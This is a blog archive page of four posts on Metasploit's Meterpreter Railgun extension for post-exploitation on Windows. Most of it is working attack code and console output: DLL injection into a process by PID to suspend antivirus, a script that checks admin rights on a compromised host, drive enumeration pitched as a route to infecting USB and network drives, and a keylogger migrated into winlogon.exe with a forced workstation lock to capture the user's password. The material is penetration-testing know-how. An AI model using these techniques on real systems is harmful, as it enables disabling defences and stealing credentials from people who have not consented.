Search
Social Media - Mubix
Login

Entries in railgun (4)

Monday
May302011

Remote DLL Injection with Meterpreter

Recently Didier Stevens wrote 'Suspender.dll' which is a DLL that will suspend a process and all of it's child processes after a delay. 60 seconds is it's default but you can rename the DLL to add a number (as such 'Suspender10.dll' for 10 seconds) to make the delay whatever you wish. You can find the blog post and download here: http://blog.didierstevens.com/2011/04/27/suspender-dll/

Jonathan Cran and I had the same idea, as I'm sure many others did as well. This might work against AntiVirus setups that protect themselves from being killed or their services stopped.

I still stand by my original claim that just removing it is easier (Blog Post: Silently Uninstall SEP). However that might be something the user notices (A little shield disappearing).

Well, I didn't know how to do this with meterpreter so a bit of google fu landed me on: http://www.codeproject.com/KB/threads/winspy.aspx which has 3 different ways to attack the 2nd of which used a DLL (score!)

Using IRB within a meterpreter shell I started using Railgun (because once you know something sometimes its easy not too look for other solutions)

I start off setting up some variables after I've uploaded Suspender.dll:

pid = 1436
sizeofsuspend = 52376
pathtosuspend = "C:\\Docume~1\\Administrator\\Desktop\\Suspender10.dll"

Next up we need to open a handle on the target process:

handle = client.railgun.kernel32.OpenProcess(PROCESS_ALL_ACCESS,false,pid)["return"]

With the handle we allocate some memory in the remote process for our DLL to live in:

allocatedmem = client.railgun.kernel32.VirtualAllocEx(handle,nil,sizeofsuspend,MEM_COMMIT,PAGE_READWRITE)["return"]

Writing that DLL to memory isn't much harder: (this and the previous step is the wrong way to do things as we'll see later)

client.railgun.kernel32.WriteProcessMemory(handle,allocatedmem,pathtosuspend,sizeofsuspend,nil)

Here is the hard part. We have to somehow figure out the address LoadLibraryA in the remote processes memory space, accounting for ASLR then pass it the location in memory where our DLL is hiding. Yah, I couldn't figure this one out, here is the best I did:

client.railgun.kernel32.CreateRemoteThread(handle,nil,0,allocatedmem,pathtosuspend,0,nil)

Then I got a friendly reminder by HD that most of this was built into meterpreter already so all that railgun nastness boils down to someting a lot simpler. Set the variables again:

pid = 1436
pathtosuspend = "C:\\Docume~1\\Administrator\\Desktop\\Suspender10.dll"

But this time we are going to use the loadlibrary payload that just got added to Metasploit Framework in r12765. We generate the payload with it pointing at our Suspender DLL:

pay = client.framework.payloads.create("windows/loadlibrary")
pay.datastore['DLL'] = pathtosuspend
pay.datastore['EXITFUNC'] = 'thread'
raw = pay.generate

Open the process, this time with Rex:

targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

Allocate the memory in the remote process write the payload (not our DLL) into that space:

mem = targetprocess.memory.allocate(raw.length + (raw.length % 1024))
targetprocess.memory.write(mem, raw)

And finally create the remote thread.. MUCH easier (The power of Rex even over Railgun)

targetprocess.thread.create(mem, 0)

And 10 seconds later our AV and all it's children processes stop. Suspended by Didier's Suspender.DLL. Thanks to HD for the slap in the head that I was doing things the wrong way and the 1 AM update to the framework that made this possible.

Monday
Sep132010

Am I an Admin? Railgun Script

When you first step on a machine, you want to determine quickly if you are just a user or an administrator. Meterpreter doesn’t have a way to quickly check this. You could drop to a shell, check the local users group “Adminitrators”, and check your user, and correlate any groups that are shared between the outputs. You could do ‘getsystem’ and if one works other than Kitrap0d. You could also just do a ‘ps’ and notice that you can see ‘SYSTEM’ processes.

But, I wanted to make a way that check a bunch of sessions all at once. So I wrote “AmIAdmin.rb” which uses meterpreter’s railgun extension to execute “IsUserAdmin”.

Being that Shell32.dll isn’t included in railgun by default we have to add it. After writing it I decided to add some checks. These checks make sure that each piece of the script isn’t already loaded. It’s a good reference for doing this in the future.

(you can remove the print_status lines if you want the script to be quieter)

Here is the script for your consumption:

if client.platform == "x64/win32"
        print_status "Railgun is currently not supported for x64 bit systems"
        raise Rex::Script::Completed
end

if client.railgun.present? == true
        print_status "Railgun already loaded.. skipping"
else
        print_status "Loading Railgun"
        client.core.use("railgun")
end

if client.railgun.dll['shell32'] == nil
        print_status "Adding Shell32.dll"
        client.railgun.add_dll('shell32','shell32')
else
        print_status "Shell32 already loaded.. skipping"
end

if (client.railgun.shell32.functions['IsUserAnAdmin'] == nil
        print_status "Adding the IsUserAnAdmin function"
        client.railgun.add_function('shell32', 'IsUserAnAdmin', 'BOOL', [])
else
        print_status "IsUserAnAdmin already loaded.. skipping"
end

print_status "Running the IsUserAnAdmin function"
status = client.railgun.shell32.IsUserAnAdmin()

if status["return"] == true then
        print_status "You are an administrator"
else
        print_error "You are not an administrator"
end

Tuesday
Aug032010

resources for railgun development

Metasploit’s Railgun is awesome, but getting things to work correctly can be a pain. Here are some of the resources that have helped me out:

  1. System Error Codes – This is hands down the best resource you have, it will tell you what that stupid “5” or “1314” means in your return value. Keep this tab open to circumvent crazed bovine attacks.
  2. theForger’s Win32 API Programming Tutorial – A really good place to start when you are getting to know the Windows API and the frustrations that come along with it. I highly recommend going through it first.
  3. MS Windows API Reference – Gigantic, and not the easiest to navigate, but really good for knowing what calls were added with each version of Windows as well as a basic (alphabetic) list of calls. Good if you know where you are going.
  4. The Undocumented Functions – Win NT/2k/XP/2k3 – A really old link but has good references to undocumented functions that have helped circumvent some of the stupidity of other more complicated functions.
  5. WineAPI Documentation – A great resource of API calls that mimic the Microsoft ones (Undocumented and Documented).

Hope this helps and I look forward to seeing what you come up with...

 

 

Wednesday
Jul072010

Intro to RailGun: WIN API for Meterpreter

Back on June 13th, “Patrick HVE” released RAILGUN:

http://mail.metasploit.com/pipermail/framework/2010-June/006382.html

And it was merged into the the Metasploit trunk with 9709, 9710, 9711 and 9712:

http://www.metasploit.com/redmine/projects/framework/repository/revisions/9712

Basically what this allows you to do is make Windows API calls from Meterpreter without compiling your own DLL. It currently supports a number of Windows API dlls:

  • iphlpapi
  • ws2_32
  • kernel32
  • ntdll
  • user32
  • advapi32

(You can find out exactly what functions are available by default in the api.rb file)

It’s also very extensible, it doesn’t have a DLL or function you need? But you can read all about in the manual:

./external/source/meterpreter/source/extensions/railgun/railgun_manual.pdf

Here are two examples where this comes in very handy:

List Drives:

The problem that I’ve had on a number of pentests is that you get shell, but from CMD or Meterpreter there is no good way to find all of the volumes (drives) attached.

 

  • net use – Shows you what Network drives are connected, but not physical ones
  • fsutil fsinfo drives – You must be an administrator to ride this train
  • fdisk /status – Only on OLD versions of DOS, not sure when this disappeared

 

But railgun solves this problem with a really short script:

 

# Load the Railgun plugin   Update: You no longer need this step
client.core.use("railgun")
# Make the API call to enum drive letters 
a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(0..25).each do |i|
    test = letters[i,1]
    rem = a % (2**(i+1))
    if rem > 0
        drives << test
        a = a - rem
    end
end
print_line("Drives Available = #{drives.inspect}")

Output:
Drives Available = ["A", "C", "D", “P”, “X”]

Save this as a meterpreter script and it’ll print every logical drive attached to the system even as a limited user (that the user can see).

Logical drives include: (hdd, network, mass storage, optical, etc). This opens up the doors to infecting USB sticks and network drives…

 

JEDI KEYLOGGING:

One of the problems with keylogging is you never know when that person will log in, and if you’re using a client side, they have probably already logged in and you’re hoping they log into a portal or some other password protected site.

Railgun to the rescue again:

# Start the keylogger running in the background dumping keys every 15 seconds, attached to Winlogon
meterpreter > bgrun keylogrecorder -c 1 -t 15
[*] Executed Meterpreter with Job ID 0
meterpreter > [*]     winlogon.exe Process found, migrating into 640
[*] Migration Successful!!
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/192.168.92.122_20100707.4539.txt
[*] Recording

# Drop to IRB to initialize railgun and lockout the workstation, forcing the user to use their credentials again.

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.core.use("railgun")
=> true
>> client.railgun.user32.LockWorkStation()
=> {"GetLastError"=>0, "return"=>true}
>> exit
meterpreter >

Set up “tail –f” going on the log file for the keylogger and then kill the keylogger when you’ve gotten what you came for.

meterpreter > bglist
[*] Job 0: ["keylogrecorder", "-c", "1", "-t", "15"]
meterpreter > bgkill 0
[*] Killing background job 0...
meterpreter >

Hope you have fun with railgun and shoot me an email mubix@hak5.org or leave a comment if you have any other crazy uses for railgun.